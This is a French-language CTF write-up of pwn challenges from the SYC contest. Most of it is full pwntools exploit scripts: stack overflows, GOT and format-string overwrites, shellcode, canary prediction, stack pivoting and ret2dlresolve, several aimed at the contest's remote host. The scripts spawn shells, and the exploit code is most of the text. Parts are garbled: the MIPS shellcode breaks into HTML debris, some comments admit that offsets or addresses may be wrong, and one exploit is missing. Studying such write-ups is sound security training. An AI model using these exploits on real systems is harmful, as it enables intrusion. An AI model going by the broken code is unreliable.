nc\_pwntools
Ce défi nécessite de satisfaire deux conditions pour exécuter des commandes arbitraires : le premier input doit se terminer par "Syclover", et le second doit résoudre une simple opération arithmétique.
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# p = process("./nc_pwntools")
p = remote("pwn.node.game.sycsec.com", 30749)
elf = ELF("./nc_pwntools")
# Le buffer fait 92 octets, ajouter le suffixe requis.
buffer = b'a' * 92
buffer += b'Syclover'
p.send(buffer)
# Recevoir le résultat de l'opération mathématique.
p.recvuntil("first one\n")
calculation_request = p.recvuntil("=?", drop=True)
result = eval(calculation_request)
print(result)
p.sendline(str(result))
p.interactive()
password
Ce challenge présente un générateur de nombres aléatoires apparemment imprévisible. La vulnérabilité réside dans la fonction strcmp. Si le premier octet du nombre aléatoire généré est \x00, la comparaison est tronquée, permettant une comparaison contrôlée. Un script de brute-force est utilisé pour exploiter cette faiblesse.
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
def exploit_password():
# L'adresse de la fonction backdoor.
backdoor_addr = 0x4012F3
# Remplir le buffer pour atteindre la comparaison.
p.send(b'a' * 0x28 + p64(backdoor_addr))
p.recv()
# Tenter de déclencher la troncature de strcmp.
p.send(b'\x00' * 65)
response = p.recvuntil("ssword:\n")
received_data = p.recv()
print(received_data)
if b"Correct" in received_data:
p.interactive()
if __name__ == "__main__":
while True:
try:
# p = process("./password")
p = remote("pwn.node.game.sycsec.com", 30289)
exploit_password()
except Exception as e:
print(f"Error: {e}")
p.close()
# shell() # Cette fonction ne semble pas définie, peut-être une erreur dans l'original.
ret2text
Une simple vulnérabilité de dépassement de tampon de pile (stack buffer overflow) est présente. Une fonction de porte dérobée (backdoor) existe, et l'adresse de retour peut être écrasée pour pointer vers cette fonction.
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process("./ret2text")
elf = ELF("./ret2text")
# gdb.attach(p)
# Dépassement du buffer pour atteindre l'adresse de retour.
buffer_overflow = b'a' * 0x58
# L'adresse de la backdoor (ici, les deux derniers octets sont suffisants pour le ROP).
# Note: L'adresse exacte de la backdoor doit être trouvée dans l'exécutable.
# Ici, nous supposons que '0x1227' est une partie de l'adresse de la backdoor.
# Une analyse réelle nécessiterait de trouver l'adresse complète.
backdoor_target = b'\x27\x12' # Exemple : L'adresse réelle doit être déterminée.
payload = buffer_overflow + backdoor_target
p.send(payload)
p.interactive()
write1
Une fonction de porte dérobée est disponible. La variable v2 se trouve sur la pile. En contrôlant v1, il est possible de modifier l'adresse de retour pour qu'elle pointe vers la fonction de porte dérobée en modifiant les deux derniers octets.
from pwn import *
# context.arch = 'amd64'
context.log_level = 'debug'
p = process("./write1")
# p = remote("pwn.node.game.sycsec.com", 30723)
elf = ELF("./write1")
# libc = elf.libc # Cette ligne n'est pas utilisée dans le script.
# gdb.attach(p)
# Ces inputs semblent interagir avec des variables ou des fonctions spécifiques au programme.
# Le détail de leur fonction exacte dépend de l'implémentation de './write1'.
p.sendline(b'aaaa')
p.sendline(str(0x28)) # Probablement une taille ou un offset.
p.sendline(str(hex(-0x2b))) # Probablement une valeur ou un offset.
p.sendline(str(0x29)) # Autre input.
p.sendline(str(hex(-0x1))) # Autre valeur.
p.sendline(b'-1') # Dernier input.
p.interactive()
ret2libc
Au lieu d'une classique chaîne ret2libc, cette solution utilise un "magic gadget". Comme la fonction puts n'est pas disponible et que le tableau GOT est modifiable, et que la libc est fournie, l'adresse GOT de setbuf est modifiée pour pointer vers un one_gadget. L'appel à setbuf déclenchera ensuite le shell.
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# p = process("./ret2libc")
p = remote("pwn.node.game.sycsec.com", 30739)
elf = ELF("./ret2libc")
libc = elf.libc
rdi_gadget = 0x401333
vuln_func = 0x4011fd
csu_low_level = 0x40132A
# Adresse d'un "one gadget" trouvé via une analyse de la libc.
# La valeur exacte dépendra de la libc utilisée.
magic_gadget_addr = 0x40119c # Ceci semble être une adresse locale, pas un one_gadget.
# La valeur de 'one' devrait être calculée par rapport à la libc chargée.
# Exemple: one = libc_base + offset_of_one_gadget
one_offset = 0xe3afe # Offset présumé d'un one_gadget dans la libc.
# Fonction utilitaire pour configurer les registres et appeler un gadget.
def setup_call(target_addr, data):
rop_chain = flat([
csu_low_level, # Gadget pour manipuler les registres.
data, # Arg 1 pour le gadget.
target_addr + 0x3d, # Arg 2 pour le gadget.
0, 0, 0, 0, # Autres args pour le gadget.
magic_gadget_addr # Gadget final à exécuter.
])
return rop_chain
# Le payload construit une chaîne ROP.
# Il vise à écrire l'offset d'un one_gadget dans le GOT de setbuf,
# puis à appeler setbuf via le PLT.
# Note: 'one' doit être calculé comme `libc_base + one_offset` si libc_base est connu.
# Ici, on utilise directement une valeur absolue qui peut être incorrecte sans libc leak.
payload = b'\x00' * (0x10 + 8)
# Préparation de l'overwrite du GOT. Le calcul de `one - libc.sym['setbuf']`
# suppose que `one` est un gadget et `libc.sym['setbuf']` est l'adresse de `setbuf`
# dans la libc. Ceci devrait être un offset relatif.
payload += setup_call(elf.got['setbuf'], one_offset - libc.sym['setbuf'])
# Ajout de l'appel à setbuf via PLT pour déclencher l'exécution.
payload += p64(elf.plt['setbuf'])
p.sendline(payload)
p.interactive()
ezpwn
L'espace pour le shellcode est limité (13 octets), ne permettant pas d'exécuter directement system("/bin/sh"). La stratégie consiste à utiliser sys_write pour écrire un nouveau shellcode sur la pile, juste après le shellcode actuel. L'utilisation de registres 32 bits (edi, eax) permet de réduire la taille du shlelcode. Un décalage de 6 octets est identifié, indiquant où le second shellcode doit être écrit.
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# p = process("./ezpwn")
p = remote("pwn.node.game.sycsec.com", 30225)
elf = ELF("./ezpwn")
# gdb.attach(p)
# Premier shellcode, utilisant des instructions courtes pour syscall.
initial_payload = b'a' * 8
initial_payload += asm('''
xor eax, eax # RAx = 0
add edx, esi # EDX = ??? (probablement inutilisé ici ou une partie d'un ROP)
syscall # Appel système
''')
print(f"Taille du premier payload: {len(initial_payload)}")
p.send(initial_payload)
# Deuxième partie du payload, conçue pour obtenir un shell.
# Elle est envoyée après avoir identifié le point d'injection.
# L'offset de 6 octets est appliqué pour écrire juste après le premier shellcode.
second_payload = b'a' * 0x6
second_payload += asm(shellcraft.sh()) # Génère un shellcode pour /bin/sh.
p.sendline(second_payload)
p.interactive()
mips
Ce défi PWN 32 bits utilise l'architecture MIPS. Une première entrée de plus de 0x10 octets provoque un crash, suggérant que la valeur à l'offset 0x10 est critique. Il s'avère que cet offset contrôle la taille de la seconde lecture. En envoyant b'a'*0x10 + p32(0x58) + b'a'*0x40, la seconde lecture écrase l'adresse de retour. Le binaire a des permissions rwx, mais l'adresse de la pile n'est pas connue, empêchant un ret2shellcode direct. En redirigeant vers main, l'adresse de la pile est divulguée lors de l'écriture. Lors de la seconde tentative, l'adresse de retour est modifiée pour pointer vers adresse_pile + 4, où le shellcode est placé.
from pwn import *
context.arch = 'mips'
context.os = 'linux'
context.log_level = 'debug'
# p = process(argv=["qemu-mipsel", "-g", "1234", "-L", "/usr/mipsel-linux-gnu", "./mips"])
# p = process(argv=["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "./mips"])
p = remote("pwn.node.game.sycsec.com", ...) # Port non spécifié dans l'original.
elf = ELF("./mips")
# Première étape : Divulguer l'adresse de la pile.
# Envoyer un padding suivi d'un offset pour la deuxième lecture, puis du padding pour écraser.
stack_control_input = b'a' * 0x10 + p32(0x58) + b'a' * 0x40
p.sendline(stack_control_input)
pause()
# Rediriger vers la fonction main pour obtenir l'adresse de la pile via un leak.
p.sendline(p32(0x400920)) # Adresse de la fonction main (ou une autre fonction de leak).
# Le shellcode MIPS pour exécuter /bin/sh.
# La chaîne est héxadécimale et doit être décodée.
mips_shellcode = bytes.fromhex('6269093c2f00ffaf7368093c2f00ffaf7cff00a9fffc00bd0a03093c2fcaff00a9fffc00bd23fbff19240328a503fcff00a9fffc00bd2324a003fcff00a9fffc00bd7fff0628fcff00a6fffc00bd2330a003ab0f02340c010101')
# Décodage manuel si la chaîne originale est interprétée comme des octets :
# mips_shellcode = b'bi\t/)5\xf4\xff\xa9\xafsh\t<n :="" apr="" caract="" contr="" de="" doit="" envoyer="" et="" l="" la="" le="" leak="" leak_addr="u32(p.recvuntil("\x40")[-4:])" mips_shellcode="" p.interactive="" p.sendline="" pause="" pile="" pile.="" plac="" positionner="" print="" r="" retour="" se="" seconde="" shellcode="" shellcode.="" tentative="" trouve=""></n>
write2
L'adresse de la pile est fournie au début. Le programme permet d'écrire à n'importe quelle adresse. Bien que le PIE soit activé, la pile est exécutable. En utilisant l'adresse de pile divulguée, l'adresse de retour peut être modifiée pour pointer vers un shellcode situé sur la pile. L'espace de 0x18 octets sur la pile est suffisant pour system("/bin/sh"). Le shellcode utilise des instructions d'assemblage pour appeler execve avec "/bin/sh".
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process("./write2")
# p = remote("pwn.node.game.sycsec.com", 30090)
elf = ELF("./write2")
# gdb.attach(p)
# Obtenir l'adresse de la pile.
p.recvuntil("index_addr:0x")
stack_leak_addr = int(p.recv(12), 16)
print(f"Adresse de pile leakée: {hex(stack_leak_addr)}")
# Shellcode pour exécuter system("/bin/sh"). Taille: 19 octets.
shellcode = asm('''
xor esi, esi # RSi = 0
mul esi # RAX = 0 (fonctionne car RSi est 0)
mov al, 59 # Syscall number for execve (RAX = 59)
lea rdi, [rbp-0x24] # RDI = pointeur vers "/bin/sh" sur la pile
syscall # Appel système execve
''')
command = b'/bin/sh'
full_shellcode = shellcode + command
print(f"Taille du shellcode + commande: {len(full_shellcode)}")
# Envoyer le shellcode et la commande.
p.sendline(full_shellcode)
# Préparer l'exploitation du dépassement de tampon pour écraser l'adresse de retour.
# L'adresse de retour sera définie à stack_leak_addr + 4 pour pointer vers le shellcode.
# Les writes sont effectués par morceaux pour atteindre les différents octets de l'adresse.
offset_index = 0x28
p.sendline(str(offset_index)) # Index pour le premier write.
# Écriture des octets de l'adresse cible (stack_leak_addr + 4) dans le buffer.
# Les indices sont incrémentés pour couvrir l'adresse complète.
target_addr = stack_leak_addr + 4
p.sendline('0x' + str(hex(target_addr))[-2:]) # Octet 0 de l'adresse.
offset_index += 1
p.sendline(str(offset_index))
p.sendline('0x' + str(hex(target_addr))[-4:-2]) # Octet 1 de l'adresse.
offset_index += 1
p.sendline(str(offset_index))
p.sendline('0x' + str(hex(target_addr))[-6:-4]) # Octet 2 de l'adresse.
offset_index += 1
p.sendline(str(offset_index))
p.sendline('0x' + str(hex(target_addr))[-8:-6]) # Octet 3 de l'adresse.
offset_index += 1
p.sendline(str(offset_index))
p.sendline('0x' + str(hex(target_addr))[-10:-8]) # Octet 4 de l'adresse.
offset_index += 1
p.sendline(str(offset_index))
p.sendline('0x' + str(hex(target_addr))[-12:-10]) # Octet 5 de l'adresse.
print(f"Adresse de retour cible: {hex(target_addr)}")
p.sendline(b'-1') # Indique la fin des writes.
p.interactive()
fmt1.0
Ce défi présente une vulnérabilité de formatage de chaîne (format string vulnerability) avec une particularité : un argument supplémentaire (0) après le format string. L'objectif est de modifier l'antrée GOT de printf pour qu'elle pointe vers le PLT de execve. Un dépassement de tampon de pile est ensuite utilisé pour exécuter execve("/bin/sh").
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process("./fmt1.0")
# p = remote("pwn.node.game.sycsec.com", 31883)
elf = ELF("./fmt1.0")
# libc = elf.libc # Non utilisé dans ce script.
# gdb.attach(p)
# Gadgets ROP pour potentiellement construire une chaîne ROP plus complexe si nécessaire.
rdi_gadget = 0x401353
leave_ret = 0x4012c8
# Création du payload pour la vulnérabilité de formatage de chaîne.
# L'objectif est de remplacer l'adresse GOT de printf par l'adresse PLT de execve.
# Le fmtstr_payload prend l'offset du format string, et un dictionnaire {adresse: valeur}.
# Le décalage (6) est déterminé par analyse ou débogage.
format_string_payload = fmtstr_payload(6, {elf.got['printf']: elf.plt['execve']})
# Remplir le reste du buffer pour atteindre l'adresse de retour.
# Une taille de 0x58 est utilisée pour s'assurer que le buffer est suffisamment grand.
payload = format_string_payload.ljust(0x58, b'\x00')
# Rediriger vers la fonction main pour ré-exécuter le code vulnérable.
payload += p64(elf.sym['main'])
p.send(payload)
# Envoyer "/bin/sh" comme argument pour execve.
p.sendline(b'/bin/sh\x00')
p.interactive()
white\_canary
Le programme initialise un générateur de nombres aléatoires. Le canary est généré en utilisant deux nombres aléatoires. La bibliothèque ctypes est utilisée pour répliquer le processus de génération du canary en Python, en appelant directement la fonction libc.rand(). Les 8 derniers octets du nombre généré constituent le canary réel. Le défi comprend un petit sandbox qui peut être contourné avec orw (open, read, write). Le shellcode est écrit dans le segment BSS, et un dépassement de tampon de pile redirige l'exécution vers le BSS.
from ctypes import *
from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'debug'
p = process("./chal")
# p = remote("pwn.node.game.sycsec.com", 31567)
elf = ELF("./chal")
# Charger la libc pour utiliser ses fonctions.
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
# Initialiser le générateur de nombres aléatoires avec le temps actuel.
# Le modulo 60 est appliqué comme dans le programme C.
current_time = int(time.time())
libc.srand(current_time % 60)
# Générer les deux nombres aléatoires.
v2 = libc.rand()
v3 = libc.rand()
# Calculer le canary selon la logique du programme C.
# La formule est une combinaison complexe des deux nombres aléatoires.
canary_calc = ((((v2 >> 4) ^ (16 * v3 + (v3 >> 8) * (v2 << 8))) >> 32) + \
((((v2 >> 48) + (v2 << 16) * (v3 >> 16)) ^ (v3 << 48)) << 32))
# Extraire les 8 derniers octets (le canary effectif).
canary = canary_calc & 0xFFFFFFFFFFFFFFFF
# Le code original convertit en hex et prend les 16 derniers caractères, ce qui est équivalent pour 64 bits.
canary_str_hex = str(hex(canary))
canary_val = int(canary_str_hex[-16:], 16)
print(f"Canary calculé: {hex(canary_val)}")
# gdb.attach(p)
# Shellcode pour ouvrir, lire et écrire le flag.
# open("flag") -> fd=3
# read(3, rsp, 100) -> lit le contenu du flag dans le buffer rsp
# write(1, rsp, 100) -> écrit le contenu lu sur stdout
shellcode_asm = shellcraft.open("flag") + shellcraft.read(3, 'rsp', 100) + shellcraft.write(1, 'rsp', 100)
shellcode_bytes = asm(shellcode_asm)
# Envoyer le shellcode.
p.sendline(shellcode_bytes)
# Envoyer le payload pour le dépassement de tampon.
# Il comprend un padding, le canary, un autre padding, et l'adresse de retour.
# L'adresse de retour pointe vers l'adresse du shellcode dans le BSS (0x4040e0).
padding_canary = b'a' * 0x8
padding_return_addr = b'a' * 0x8
return_addr = p64(0x4040e0) # Adresse du shellcode dans le BSS.
payload = padding_canary + p64(canary_val) + padding_return_addr + return_addr
p.sendline(payload)
p.interactive()
ez\_fullprotection
Ce défi présente une vulnérabilité de dépassement de tampon de pile dans un thread séparé, utilisant la fonction gets, ce qui permet de contourner le canary. Le PIE est également actif. Pour le contourner, il faut d'abord obtenir l'adresse de base de l'exécutable en exploitant une condition d'erreur d'entrée. Si une entrée non numérique est fournie, une fuite de la pile se produit, révélant l'adresse de base. Ensuite, une chaîne ROP est construite dans le thread pour obtenir la base de la libc, puis exécuter un one_gadget.
from pwn import *
# context.arch = 'amd64'
context.log_level = 'debug'
p = process("./ez_fullprotection")
# p = remote("pwn.node.game.sycsec.com", 30007)
elf = ELF("./ez_fullprotection")
# La libc est supposée être disponible localement ou via une fuite.
# libc = ELF("./libc.so.6")
# gdb.attach(p)
# Provoquer une fuite d'adresse de base.
# Entrer une valeur non numérique pour déclencher une erreur et une fuite.
p.sendline(b'a')
p.sendline(b'a')
p.recvuntil("entered ")
# L'adresse de base de l'ELF est déduite de la fuite.
elf_base = int(p.recv(14), 16) - 0x1240
print(f"Base ELF: {hex(elf_base)}")
# Définition des gadgets ROP basés sur la base ELF.
rdi_gadget = elf_base + 0x16e3
ret_gadget = elf_base + 0x101a
# Construction du premier payload ROP pour la fuite de libc.
# Il vise à appeler puts(puts@got) pour obtenir l'adresse de la libc.
payload1 = b'a' * 0x38 # Padding pour atteindre l'adresse de retour.
payload1 += p64(rdi_gadget) # Gadget pour charger RDI.
payload1 += p64(elf_base + elf.got['puts']) # Argument pour puts: l'adresse GOT de puts.
payload1 += p64(elf_base + elf.plt['puts']) # Appel à puts via PLT.
payload1 += p64(elf_base + elf.sym['consolation_prize']) # Retour à une fonction (consolation_prize).
payload1 += b'a' * 0x1000 # Gros padding pour déborder dans le thread.
p.sendline(payload1)
# Réception du leak de l'adresse de puts, et calcul de la base libc.
# Le leak est supposé être une adresse complète 64 bits. On prend les 6 derniers octets.
leak_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
# Déterminer la base libc.
libc_base = leak_addr - libc.sym['puts']
print(f"Base libc: {hex(libc_base)}")
# Calcul de l'adresse d'un one_gadget et de system.
one_gadget_addr = libc_base + 0xe3b01
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\x00")) # Trouve l'adresse de "/bin/sh".
# Construction du second payload ROP pour exécuter le shellcode.
# Ici, on appelle directement un one_gadget.
payload2 = b'a' * 0x38 # Padding.
payload2 += p64(elf_base + 0x16dc) # Gadget pour charger RDI (peut-être différent).
payload2 += p64(0) # Arg 0 pour le gadget.
payload2 += p64(0) # Arg 1 (peut-être RSI).
payload2 += p64(0) # Arg 2.
payload2 += p64(0) # Arg 3.
payload2 += p64(one_gadget_addr) # Le one_gadget à exécuter.
payload2 += b'a' * 0x1000 # Gros padding.
p.sendline(payload2)
p.interactive()
EVA
Ce défi propose deux modes d'entrée : un avant le canary (0x100 octets) et un après (0x10 octets). Sans connaître le canary, seule la deuxième méthode est utilisable initialement. L'objectif est de migrer la pile vers le segment BSS. Après cette migration partielle, le RBP pointe vers le BSS, mais le RSP est encore sur la pile. En sautant à 0x40128E, le canary est écrit dans le BSS. Ensuite, en sautant à 0x40137E, le RSP est également déplacé vers le BSS. La structure de la pile devient alors contrôlable sans crainte du canary. Finalement, en revenant à 0x401355, le premier mode d'entrée est utilisé pour obtenir la base de la libc via un ROP, puis exécuter system.
from pwn import *
# context.arch = 'amd64'
context.log_level = 'debug'
p = process("./EVA")
# p = remote("pwn.node.game.sycsec.com", 30430)
elf = ELF("./EVA")
libc = ELF("./libc.so.6")
# gdb.attach(p)
# Adresse du segment BSS.
bss_addr = 0x404800
# Gadgets ROP pour la construction de la chaîne.
rdi_gadget = 0x401423
ret_gadget = 0x40101a
rsi_r15_gadget = 0x401421
rsp_r13_r14_r15_gadget = 0x40141d
rbp_overwrite_gadget = 0x4011dd # Gadget pour overwrite RBP.
leave_ret_gadget = 0x401280 # Gadget leave+ret.
# Phase 1 : Migration de la pile vers le BSS.
p.sendline(b'0') # Choix du mode d'entrée (après canary).
pause()
# Écriture de l'adresse du BSS dans RBP, et saut vers un gadget qui configure la pile.
p.send(p64(bss_addr) + p64(0x40128e)) # 0x40128e écrit le canary dans le BSS.
pause()
# Phase 2 : Déplacer RSP vers le BSS et préparer le contournement du canary.
p.sendline(b'0') # Choix du mode d'entrée.
pause()
# Écriture de l'adresse du BSS dans RBP, et saut vers un gadget qui déplace RSP.
p.send(p64(bss_addr) + p64(0x40137e)) # 0x40137e déplace RSP.
pause()
# Phase 3 : Préparation pour la fuite de libc et l'exécution du shell.
p.send(p64(bss_addr) + p64(0x401355)) # Retour à un point qui utilise le premier mode d'entrée.
pause()
# ROP pour obtenir la base de la libc.
# Utilisation de puts(puts@got) pour la fuite.
payload_leak = b'a' * 0x58 # Padding pour atteindre l'adresse de retour.
payload_leak += p64(rdi_gadget) # Configure RDI.
payload_leak += p64(elf.got['puts']) # Argument pour puts.
payload_leak += p64(elf.plt['puts']) # Appel à puts.
payload_leak += p64(0x401355) # Retour au point d'entrée du premier mode.
p.sendline(payload_leak)
# Récupération du leak et calcul de la base libc.
leak_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = leak_addr - libc.sym['puts']
print(f"Base libc: {hex(libc_base)}")
# Adresse de system et de "/bin/sh".
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
# ROP pour exécuter system("/bin/sh").
payload_exec = b'a' * 0x70 # Padding ajusté pour le second mode d'entrée.
payload_exec += p64(rdi_gadget) # Configure RDI.
payload_exec += p64(bin_sh_addr) # Argument pour system.
payload_exec += p64(system_addr) # Appel à system.
p.sendline(payload_exec)
p.interactive()
why\_n0t\_puts
Ce défi, avec Partial RELRO et uniquement une fonction read, oriente vers une attaque ret2dlresolve. Le payload ROP est construit pour modifier l'adresse de retour et pointer vers read. Un faux link_map est forgé dans le segment BSS. L'appel à dlresolve avec ce faux link_map permet de résoudre et d'exécuter /bin/sh.
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process("./why_n0t_puts")
# p = remote("pwn.node.game.sycsec.com", ....) # Port non spécifié.
elf = ELF("./why_n0t_puts")
libc = elf.libc
# Fonction pour construire une structure link_map falsifiée.
def create_fake_link_map(offset, target_got, lm_addr):
# Initialisation avec des zéros et des valeurs par défaut.
fake_map = p64(0) # l_addr
fake_map += p64(0) # l_ld (pointeur vers Dynamic structure)
fake_map += p64(lm_addr + 0x18) # l_next (pointe vers une autre fausse structure ou zéro)
# DT_JMPREL / l_plt est l'adresse du tableau de relocalisation PLT.
# On le fait pointer vers une adresse qui, soustraite de l'offset, donne la cible GOT.
fake_map += p64((target_got - offset) & (2**64 - 1)) # l_plt (DT_JMPREL)
fake_map += p64(0x7) # l_jmprel_size (taille des relocalisations JMP)
fake_map += p64(0) # l_remote_plt (pointeur vers une autre structure PLT, non utilisé ici)
# DT_SYMTAB / l_symtab pointe vers la table des symboles dynamiques.
# Pour cet exploit, on le fait pointer vers une adresse où on écrira des données.
# La valeur st_value sera ajustée pour pointer vers la cible GOT - 8.
fake_map += p64(0) # l_symtab
fake_map += p64(target_got - 0x8) # L'adresse où l'on peut écrire la valeur du symbole.
# Ajout de la chaîne "/bin/sh" dans la section de données simulée.
fake_map += b'/bin/sh\x00'
fake_map = fake_map.ljust(0x68, b'B') # Padding jusqu'à la fin de la première partie.
# DT_STRTAB / l_strtab pointe vers la table des chaînes de symboles.
# On le fait pointer vers une adresse qui contiendra la chaîne "/bin/sh".
fake_map += p64(lm_addr + 0x40) # Pointe vers la chaîne "/bin/sh".
# DT_SYMTAB_ADDR / l_symtab_addr pointe vers la structure Dynamic pour SYMTAB.
fake_map += p64(lm_addr + 0x30) # Pointe vers la structure Dynamic contenant le pointeur SYMTAB.
fake_map = fake_map.ljust(0xf8, b'C') # Padding jusqu'à la fin de la structure.
# DT_RELENT / l_relent pointe vers la structure de relocalisation. Non utilisé ici.
fake_map += p64(lm_addr + 0x8) # Pointe vers DT_JMPREL / l_plt.
return fake_map
# gdb.attach(p)
# Définition des gadgets et adresses.
rdi_gadget = 0x4011d3
rsi_r15_gadget = 0x4011d1
fake_link_map_addr = 0x404800 # Adresse dans le BSS pour notre fausse link_map.
data_segment_addr = 0x404500 # Adresse dans le BSS pour les données.
sh_string_addr = fake_link_map_addr + 0x40 # Adresse de "/bin/sh" dans notre fausse link_map.
# Calcul de l'offset nécessaire pour la relocalisation dynamique.
# offset = adresse_cible - adresse_source_dans_plt
# Ici, nous voulons que la relocalisation calcule `system`, donc l'offset
# est `system_addr - read_addr`.
system_offset_in_libc = libc.symbols['system']
read_offset_in_libc = libc.symbols['read']
relocation_offset = system_offset_in_libc - read_offset_in_libc
# Création de la fausse structure link_map.
# On cible le GOT de 'read' pour le relocaliser vers 'system'.
fake_link_map = create_fake_link_map(relocation_offset, elf.got['read'], fake_link_map_addr)
# Construction du premier payload ROP pour configurer l'appel à read.
# Il faut setup RDI, RSI, et appeler read@plt.
# Le but est d'écrire la fausse link_map dans le BSS via read.
payload = b'a' * 0x38 # Padding pour atteindre l'adresse de retour.
payload += p64(rdi_gadget) # Gadget pour charger RDI.
payload += p64(0) # Argument 0 pour read (fd).
payload += p64(rsi_r15_gadget) # Gadget pour charger RSI et R15.
payload += p64(fake_link_map_addr) # Argument 1 pour read (buffer).
payload += p64(0) # Argument 2 pour read (count).
payload += p64(rsi_r15_gadget) # Réutilisation du gadget pour charger RDI et RSI (pour dlresolve).
payload += p64(fake_link_map_addr) # Argument pour RDI (pointeur vers link_map).
payload += p64(0) # Argument pour RSI (non utilisé par dlresolve).
payload += p64(elf.plt['read']) # Appel à read@plt.
payload += p64(rdi_gadget) # Gadget pour charger RDI (pour le second appel).
payload += p64(sh_string_addr) # Argument pour RDI ("/bin/sh").
payload += p64(0x401026) # Adresse d'une fonction intermédiaire ou retour.
payload += p64(fake_link_map_addr) # Argument pour RDI (pointeur vers link_map pour dlresolve).
payload += p64(0) # Argument pour RSI (non utilisé).
p.send(payload)
pause()
# Envoyer la fausse structure link_map.
p.send(fake_link_map)
p.interactive()
fmt2.0
Ce défi offre deux opportnuités d'exploiter une vulnérabilité de formatage de chaîne. L'offset est déterminé à 6. La première utilisation sert à divulguer l'adresse de la pile et la base de la libc. La seconde utilisation modifie l'adresse de retour pour qu'elle pointe vers un one_gadget. L'espace étant limité, la technique %hn (write short) est employée. Ce script a une probabilité de succès variable en raison de la nature des fuites d'adresses.
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process("./fmt2.0")
# p = remote("pwn.node.game.sycsec.com",) # Port non spécifié.
elf = ELF("./fmt2.0")
libc = elf.libc
# gdb.attach(p)
# Première utilisation de fmtstr pour obtenir l'adresse de la pile.
p.sendline(b'aaaaaaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p')
p.recvuntil("aaaa0x")
stack_addr_leak = int(p.recv(12), 16)
print(f"Adresse de pile leakée: {hex(stack_addr_leak)}")
# Calcul de l'adresse de retour attendue. L'offset dépend de la pile.
return_addr_target = stack_addr_leak + 0x68
p.recvuntil("0x50-0x")
heap_addr_leak = int(p.recv(12), 16) # Fuite d'adresse sur le heap ou autre.
# Déduction de l'adresse de 'read' dans la libc.
read_addr_in_libc = heap_addr_leak - 18
libc_base = read_addr_in_libc - libc.sym['read']
print(f"Base libc: {hex(libc_base)}")
p.recvuntil("0x55")
# Fuite d'une adresse proche de la base de l'exécutable (souvent l'adresse du segment exécutable).
# L'adresse leakée commence par '0x55'.
exe_leak_addr = int((b'55' + p.recv(10)), 16)
# Calcul de la base de l'exécutable PIE.
elf_base = exe_leak_addr & 0xfffffffff000 - 0x1000
print(f"Base ELF: {hex(elf_base)}")
# Adresse du one_gadget dans la libc.
one_gadget_offset = 0xe3b01
one_gadget_addr = libc_base + one_gadget_offset
# Création du payload pour la deuxième utilisation de fmtstr.
# Utilisation de 'short' pour écrire seulement 2 octets à la fois (%hn).
# Nécessaire pour atteindre la cible avec des writes partiels.
# Le fmtstr_payload prend le décalage, le dictionnaire {adresse: valeur}, et la taille d'écriture.
payload = fmtstr_payload(6, {return_addr_target: one_gadget_addr}, write_size='short')
p.sendline(payload)
p.interactive()
fmt3.0
Ce défi est incomplet dans la description fournie. L'EXP est manquant.
# EXP manquant pour fmt3.0
# L'analyse détaillée de ce défi nécessiterait le code du programme ou plus d'informations.
# Les défis fmt précédents suggèrent une exploitation via format string, potentiellement pour
# obtenir un shell ou élever des privilèges.
#
# Exemple potentiel basé sur les défis précédents :
# from pwn import *
# context.arch = 'amd64'
# context.log_level = 'debug'
# p = process("./fmt3.0")
# elf = ELF("./fmt3.0")
# libc = elf.libc
# gdb.attach(p)
#
# # Déterminer le décalage et les adresses cibles (GOT, PLT, one_gadget).
# offset = ...
# target_addr = ...
# payload = fmtstr_payload(offset, {target_addr: ...})
# p.sendline(payload)
# p.interactive()